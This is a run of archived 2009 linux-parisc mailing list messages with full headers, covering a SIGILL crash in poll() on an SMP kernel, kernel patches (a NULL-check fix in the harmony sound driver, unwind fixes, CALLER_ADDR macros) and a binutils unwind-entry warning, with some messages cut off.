[557116.676000]  IAOQ[0]: 0070a703
[557116.676000]  IAOQ[1]: 0070a707
[557116.676000]  RP(r2): 405e06df

Does this sound familiar to anybody here?
Does this backtrace help?

The installed kernel is Debian's 2.6.30-2-parisc-smp kernel.

Btw, the glibc is the standard (linuxthreads-based) Debian glibc 2.9-27.
I haven't yet installed Carlos' NPTL-enabled glibc on this machine yet.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: poll(), illegal instruction and crash on smp kernel
Date: Thu, 15 Oct 2009 11:48:51 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <119aab440910150848y1fe3464bq30b4ae1bb44d23ac@mail.gmail.com>
References: <4AD649BC.3080905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1255621807 16939 80.91.229.12 (15 Oct 2009 15:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Oct 2009 15:50:07 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 15 17:49:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MySaR-0004Cu-Ar
	for glpp-linux-parisc@lo.gmane.org; Thu, 15 Oct 2009 17:49:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761084AbZJOPta convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Oct 2009 11:49:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761135AbZJOPta
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Oct 2009 11:49:30 -0400
Original-Received: from mail-fx0-f227.google.com ([209.85.220.227]:61625 "EHLO
	mail-fx0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751659AbZJOPt3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Oct 2009 11:49:29 -0400
Original-Received: by fxm27 with SMTP id 27so1266658fxm.17
        for <linux-parisc@vger.kernel.org>; Thu, 15 Oct 2009 08:48:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=faeRXfvv5cLunmssq5ExlkON+tcHFd/Fyc1d2qSvkEs=;
        b=I2pjOC+K3Yh75J0cQNPjzQTqR9Dh1dgl86l79nU0yfXN3mDtIt8p+6J8yWPys3fkz8
         fXVq+kKAgJR+JeQERpY26CKDArzgqJ17axoEgA3apZ+VlvaLrWuisRRDJfmjeMTL/LDj
         7Ua3pyG2bbrZc5kxgL/6w+0uIb4plfXXsoXSo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=WitZ9t5QbomHu7JglkXKe/H6fhcRA/b7uW+HNc4Td1D4fRKY/4FiXcJ0aKOPprgmW1
         +fNnpH1WWmFanxhf6VEfNaSO919F9IbSM46aQ2ao6vyKUg32T0slnylKhkXHIfkuwKTv
         1Tj68BtrHdLtCiXLzG7KtOpn2RwSNdmA52qyM=
Original-Received: by 10.204.34.201 with SMTP id m9mr163986bkd.77.1255621731716; Thu, 
	15 Oct 2009 08:48:51 -0700 (PDT)
In-Reply-To: <4AD649BC.3080905@gmx.de>
X-Google-Sender-Auth: eafc6f9493124450
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2249
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2249>

On Wed, Oct 14, 2009 at 5:59 PM, Helge Deller <deller@gmx.de> wrote:
> Program received signal SIGILL, Illegal instruction.
> [Switching to Thread 0x8001 (LWP 22707)]
> 0x405e06fc in poll () from /lib/libc.so.6
> (gdb) bt
> #0 =A00x405e06fc in poll () from /lib/libc.so.6
> #1 =A00x41bb45a0 in __pthread_manager () from /lib/libpthread.so.0
> #2 =A00x41bb4e4c in __pthread_manager_event () from /lib/libpthread.s=
o.0
> #3 =A00x405eb340 in clone () from /lib/libc.so.6
> #4 =A00x00000010 in ?? ()
> #5 =A00x00000010 in ?? ()
> Backtrace stopped: previous frame identical to this frame (corrupt st=
ack?)
> (gdb)

If this happens again please provide the /proc/$PID/maps, it's
invaluable to mapping that libc address to an instruction.

> dmesg shows:
>
> [557116.676000] User Fault on Kernel Space pid=3D22910 command=3D'kon=
queror'

That's correct we tried to read kernel space.

build-tools/disasm says the faulting instruction is:
   0:   40 51 bc c8     ldb 1e64(sr2,rp),r17

I would have expect a SIGSEGV for that (trying to read from kernel
space sr2) instruction, but perhaps we deliver SIGILL in that case.

> [557116.676000] IASQ: 00001283 00001283 IAOQ: 0070a703 0070a707
> [557116.676000] =A0IIR: 4051bcc8 =A0 =A0ISR: 00000000 =A0IOR: 405e254=
3
> [557116.676000] =A0CPU: =A0 =A0 =A0 =A01 =A0 CR30: 8fed4000 CR31: fff=
fffff
> [557116.676000] =A0ORIG_R28: 00000000
> [557116.676000] =A0IAOQ[0]: 0070a703
> [557116.676000] =A0IAOQ[1]: 0070a707
> [557116.676000] =A0RP(r2): 405e06df
>
> Does this sound familiar to anybody here?
> Does this backtrace help?

No idea, but the instruction "4051bcc8" (see IIR in dump) doesn't
exist in libc.so.6 for 2.9-27. Something corrupted memory, and it
corrupted a read-only .text mapping. The only thing that can do that
is the kernel.

This is pretty much 100% a kernel bug?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 3/14] sound/parisc: Move dereference after NULL test
Date: Sat, 17 Oct 2009 08:33:47 +0200 (CEST)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0910170833240.9213@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1255761274 7793 80.91.229.12 (17 Oct 2009 06:34:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 Oct 2009 06:34:34 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, Jaroslav Kysela <perex@perex.cz>,
	Takashi Iwai <tiwai@suse.de>, linux-parisc@vger.kernel.org,
	alsa-devel@alsa-project.org, linux-kernel@vger.kernel.or
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 17 08:34:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mz2ro-0007Im-F5
	for glpp-linux-parisc@lo.gmane.org; Sat, 17 Oct 2009 08:34:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751365AbZJQGdq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 17 Oct 2009 02:33:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751190AbZJQGdq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 17 Oct 2009 02:33:46 -0400
Original-Received: from mgw1.diku.dk ([130.225.96.91]:59114 "EHLO mgw1.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750871AbZJQGdp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 17 Oct 2009 02:33:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw1.diku.dk (Postfix) with ESMTP id 150A052C3DD;
	Sat, 17 Oct 2009 08:33:49 +0200 (CEST)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Received: from mgw1.diku.dk ([127.0.0.1])
	by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UX44IVqkdJrl; Sat, 17 Oct 2009 08:33:47 +0200 (CEST)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw1.diku.dk (Postfix) with ESMTP id B0F2D52C3A8;
	Sat, 17 Oct 2009 08:33:47 +0200 (CEST)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id F1D816DF835; Sat, 17 Oct 2009 08:31:12 +0200 (CEST)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id 97D52F9B0; Sat, 17 Oct 2009 08:33:47 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id 8C06FF810;
	Sat, 17 Oct 2009 08:33:47 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2250 gmane.linux.alsa.devel:67717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2250>

From: Julia Lawall <julia@diku.dk>

If the NULL test on h is needed in snd_harmony_mixer_init, then the
dereference should be after the NULL test.

Actually, there is a sequence of calls: snd_harmony_create, then
snd_harmony_pcm_init, and then snd_harmony_mixer_init.  snd_harmony_create
initializes h, but may indeed leave it as NULL.  There was no NULL test at
the beginning of snd_harmony_pcm_init, so I have added one.  The NULL test
in snd_harmony_mixer_init is then not necessary, but in case the ordering
of the calls changes, I have left it, and moved the dereference after it.

A simplified version of the semantic match that detects this problem is as
follows (http://coccinelle.lip6.fr/):

// <smpl>
@match exists@
expression x, E;
identifier fld;
@@

* x->fld
  ... when != \(x = E\|&x\)
* x == NULL
// </smpl>

Signed-off-by: Julia Lawall <julia@diku.dk>

---
 sound/parisc/harmony.c              |    6 +++++-
 1 files changed, 5 insertions(+), 1 deletions(-)

diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index e924492..f47f9e2 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -624,6 +624,9 @@ snd_harmony_pcm_init(struct snd_harmony *h)
 	struct snd_pcm *pcm;
 	int err;
 
+	if (snd_BUG_ON(!h))
+		return -EINVAL;
+
 	harmony_disable_interrupts(h);
 	
    	err = snd_pcm_new(h->card, "harmony", 0, 1, 1, &pcm);
@@ -865,11 +868,12 @@ snd_harmony_mixer_reset(struct snd_harmony *h)
 static int __devinit
 snd_harmony_mixer_init(struct snd_harmony *h)
 {
-	struct snd_card *card = h->card;
+	struct snd_card *card;
 	int idx, err;
 
 	if (snd_BUG_ON(!h))
 		return -EINVAL;
+	card = h->card;
 	strcpy(card->mixername, "Harmony Gain control interface");
 
 	for (idx = 0; idx < HARMONY_CONTROLS; idx++) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Hardware Database is missing
Date: Thu, 22 Oct 2009 16:21:14 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20091022142113.GA9729@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256222304 25024 80.91.229.12 (22 Oct 2009 14:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Oct 2009 14:38:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 22 16:38:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N0yXb-0006QE-OU
	for glpp-linux-parisc@lo.gmane.org; Thu, 22 Oct 2009 16:21:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755899AbZJVOVR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Oct 2009 10:21:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755989AbZJVOVR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 Oct 2009 10:21:17 -0400
Original-Received: from mail-ew0-f207.google.com ([209.85.219.207]:33820 "EHLO
	mail-ew0-f207.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755899AbZJVOVR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Oct 2009 10:21:17 -0400
Original-Received: by ewy3 with SMTP id 3so632448ewy.17
        for <linux-parisc@vger.kernel.org>; Thu, 22 Oct 2009 07:21:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:mime-version:content-type
         :content-disposition:user-agent;
        bh=Ti3qB4sCgKdp9nZJa9Ef1gXcxJazezAv7WuANRT8HgE=;
        b=wHXmaE96+NMzo2ULkn5rxTWcpjOM2Ql3OSbUpAQ9oDf7L9foq+5OAa9RPbQcNbVDZ1
         waO/01Ll7wDrAY3KK1BR98LnjrWjc/ZYKwjwQK+nLdv1UJTuaTrmPjNC3poWMJ+Ip5V3
         UHU6IEZXrHhSH0IDVqWtCx2gZlre4shiKv4aY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:mime-version
         :content-type:content-disposition:user-agent;
        b=LbRCC94Zs4MYmE+N4/ZGubY0+yx8m2pZIhv5Qp0dnTgBO8ziYFYsLRsFTQSV9aQ73H
         /4EGPbJkV337ZkrqFq/1FFQnIUG8JUf224TK1qmH3L1tajvPf0Go4am4Zuqg0wBzvROJ
         WmTGxneyhlEGxJ4c6ut8ist0e5jGIZ10TA1rI=
Original-Received: by 10.216.87.68 with SMTP id x46mr1180112wee.2.1256221280417;
        Thu, 22 Oct 2009 07:21:20 -0700 (PDT)
Original-Received: from raptus.dandreoli.com (host115-85-dynamic.44-79-r.retail.telecomitalia.it [79.44.85.115])
        by mx.google.com with ESMTPS id n12sm2883955gve.6.2009.10.22.07.21.18
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 22 Oct 2009 07:21:19 -0700 (PDT)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id 1E57510259B; Thu, 22 Oct 2009 16:21:14 +0200 (CEST)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2251>

Hi,

any news about the Hardware Database on parisc-linux.org? It disappeared.

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix unwind
Date: Sun, 25 Oct 2009 22:42:48 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20091025214248.GA15028@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256506987 27078 80.91.229.12 (25 Oct 2009 21:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Oct 2009 21:43:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <tausq@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 25 22:43:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2ArY-0003tA-KQ
	for glpp-linux-parisc@lo.gmane.org; Sun, 25 Oct 2009 22:42:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754180AbZJYVms (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Oct 2009 17:42:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754212AbZJYVms
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 25 Oct 2009 17:42:48 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:52294 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754180AbZJYVms (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Oct 2009 17:42:48 -0400
Original-Received: (qmail invoked by alias); 25 Oct 2009 21:42:50 -0000
Original-Received: from p4FDB39B5.dip0.t-ipconnect.de (EHLO p100.box) [79.219.57.181]
  by mail.gmx.net (mp024) with SMTP; 25 Oct 2009 22:42:50 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19g3k83gX1gdvwyHfTiylDR+ZSEGPaR4J40RmMRUZ
	1LGxz5nGtx52YB
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2252>

kernel unwinding is broken with gcc >= 4.x. Part of the problem is, that
binutils seems sensible where the unwind information is stored.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 69dad5a..6c631bf 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -28,7 +28,7 @@
 #define dbg(x...)
 #endif
 
-#define KERNEL_START (KERNEL_BINARY_TEXT_START - 0x1000)
+#define KERNEL_START (KERNEL_BINARY_TEXT_START)
 
 extern struct unwind_table_entry __start___unwind[];
 extern struct unwind_table_entry __stop___unwind[];
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fda4baa..9dab4a4 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -78,9 +78,6 @@ SECTIONS
 	 */
 	. = ALIGN(PAGE_SIZE);
 	data_start = .;
-	EXCEPTION_TABLE(16)

From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add CALLER_ADDR{0-6} macros
Date: Sun, 25 Oct 2009 22:48:36 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <20091025214836.GA15038@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256507328 27976 80.91.229.12 (25 Oct 2009 21:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Oct 2009 21:48:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <tausq@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 25 22:48:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2Ax6-0004yQ-R0
	for glpp-linux-parisc@lo.gmane.org; Sun, 25 Oct 2009 22:48:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754149AbZJYVsf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Oct 2009 17:48:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754192AbZJYVsf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 25 Oct 2009 17:48:35 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60150 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754149AbZJYVse (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Oct 2009 17:48:34 -0400
Original-Received: (qmail invoked by alias); 25 Oct 2009 21:48:37 -0000
Original-Received: from p4FDB39B5.dip0.t-ipconnect.de (EHLO p100.box) [79.219.57.181]
  by mail.gmx.net (mp023) with SMTP; 25 Oct 2009 22:48:37 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/PeAk02EbPoB95R1KyAbXmOj8fcPRnmg4C9aU5BN
	2heOEh+JTNI8ug
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2253>

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/include/asm/ftrace.h b/arch/parisc/include/asm/ftrace.h
index 2fa05dd..72c0faf 100644
--- a/arch/parisc/include/asm/ftrace.h
+++ b/arch/parisc/include/asm/ftrace.h
@@ -20,6 +20,20 @@ struct ftrace_ret_stack {
  * Defined in entry.S
  */
 extern void return_to_handler(void);
+
+
+extern unsigned long return_address(unsigned int);
+
+#define HAVE_ARCH_CALLER_ADDR
+
+#define CALLER_ADDR0 ((unsigned long)__builtin_return_address(0))
+#define CALLER_ADDR1 return_address(1)
+#define CALLER_ADDR2 return_address(2)
+#define CALLER_ADDR3 return_address(3)
+#define CALLER_ADDR4 return_address(4)
+#define CALLER_ADDR5 return_address(5)
+#define CALLER_ADDR6 return_address(6)
+
 #endif /* __ASSEMBLY__ */
 
 #endif /* _ASM_PARISC_FTRACE_H */
diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 69dad5a..6c631bf 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -417,3 +429,31 @@ int unwind_to_user(struct unwind_frame_info *info)
 
 	return ret;
 }
+
+unsigned long return_address(unsigned int level)
+{
+	struct unwind_frame_info info;
+	struct pt_regs r;
+	unsigned long sp;
+
+	/* initialize unwind info */
+	asm volatile ("copy %%r30, %0" : "=r"(sp));
+	memset(&r, 0, sizeof(struct pt_regs));
+	r.iaoq[0] = (unsigned long) current_text_addr();
+	r.gr[2] = (unsigned long) __builtin_return_address(0);
+	r.gr[30] = sp;
+	unwind_frame_init(&info, current, &r);
+
+	/* unwind stack */
+	++level;
+	do {
+		if (unwind_once(&info) < 0 || info.ip == 0)
+			return 0;
+		if (!__kernel_text_address(info.ip)) {
+			return 0;
+		}
+	} while (info.ip && level--);
+
+	return info.ip;
+}
+
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Out of order unwind entry warning
Date: Mon, 26 Oct 2009 23:21:20 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <4AE620E0.9040809@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256595693 20346 80.91.229.12 (26 Oct 2009 22:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Oct 2009 22:21:33 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 26 23:21:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N2XwK-0002xG-UJ
	for glpp-linux-parisc@lo.gmane.org; Mon, 26 Oct 2009 23:21:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753596AbZJZWVT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Oct 2009 18:21:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753570AbZJZWVT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Oct 2009 18:21:19 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55717 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753530AbZJZWVS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Oct 2009 18:21:18 -0400
Original-Received: (qmail invoked by alias); 26 Oct 2009 22:21:22 -0000
Original-Received: from p4FDB260F.dip0.t-ipconnect.de (EHLO halden.box) [79.219.38.15]
  by mail.gmx.net (mp056) with SMTP; 26 Oct 2009 23:21:22 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX185LtwsqV85qjYDbPZrc3YHMjwLyzmRL9cnnPJQQe
	xA0GZldAbJWwYx
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2254>

I started to look into the problem why we get the
> WARNING: Out of order unwind entry!
warning messages at kernel bootup in dmesg.

It's related to a binutils/linker bug, that ld does not correctly
removes unlink information for unused weak symbols, which have been
replaced by their non-weak ones.

In my kernel I could track it down to 2 symbols:
- arch_mod_section_prepend()  from kernel/module.c, and
- save_stack_trace_tsk().

Here is the extract of the readelf output on vmlinux:
...
<inb>: [0x1011fbd4-0x1011fc48]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=8
<arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
         Entry_GR=1 Save_SP Total_frame_size=8
